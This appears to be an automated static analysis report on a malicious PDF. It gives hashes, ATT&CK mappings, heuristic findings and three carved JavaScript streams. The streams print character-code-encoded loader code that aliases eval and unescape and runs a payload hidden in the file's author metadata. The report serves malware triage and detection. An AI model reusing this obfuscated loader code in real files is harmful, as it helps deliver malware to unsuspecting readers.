Malicious PDF — malware analysis report

Static analysis result for SHA-256 7d09dd8c30558af2…

MALICIOUS

PDF

7.3 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe First seen: 2026-05-09
MD5: e65249bccb6812bc9d52fd1d8159ffd4 SHA-1: 74654fcbb24fc70ce342147799810fecf8841c2d SHA-256: 7d09dd8c30558af25125a952ee6cfe73fdfb9787364c70b6dfb44d1ccc5b300f
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains multiple embedded JavaScript streams, flagged as a critical exploit cluster. The JavaScript functions, particularly those using String.fromCharCode and eval, are designed to deobfuscate and execute malicious code. The reconstructed JavaScript strings suggest an attempt to download and execute a second-stage payload from a remote source.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x16FB 439 bytes
SHA-256: 10fec9f287b9e2b75a0cabbcd92adfbf81e4faf626a982990702757b35bd221a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "13,10,13,10,13,10,118,97,114,32,122,32,61,32,117,110,101,115,99,97,112,101,59,118,97,114,32,112,114,99,110,116,32,61,32,39,37,39,59,13,10,118,97,114,32,107,115,32,61,32,101,118,97,108,59,13,10,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x1839 688 bytes
SHA-256: 39cacbbf9bd35d1044b4dc0aa097477b6ac0fc5a85300c14a7ebbf9d48101e42
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "13,10,13,10,13,10,13,10,13,10,107,115,40,39,118,97,114,32,99,111,100,101,115,32,61,32,116,104,105,115,46,105,110,39,43,122,40,34,37,54,54,37,54,102,37,50,101,37,54,49,37,55,53,37,55,52,34,41,43,39,104,111,114,59,39,41,59,13,10,13,10,118,97,114,32,120,120,120,32,61,32,107,115,40,39,99,111,100,101,115,46,114,101,39,43,39,112,108,39,43,39,97,99,39,43,39,101,40,39,43,39,47,108,107,97,49,47,103,39,43,39,44,112,114,99,110,116,41,39,41,59,13,10,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
javascript_obj0014_002.js pdf-javascript-stream PDF /JS object 14 at offset 0x19CA 402 bytes
SHA-256: 86e17ecf2269d529f6996447b89103df331420e06dc70f9d02ebc874ac0e46d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "13,10,13,10,118,97,114,32,118,118,118,32,61,32,122,40,117,110,101,115,99,97,112,101,40,120,120,120,41,41,59,13,10,101,118,97,108,40,118,118,118,41,59,13,10,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

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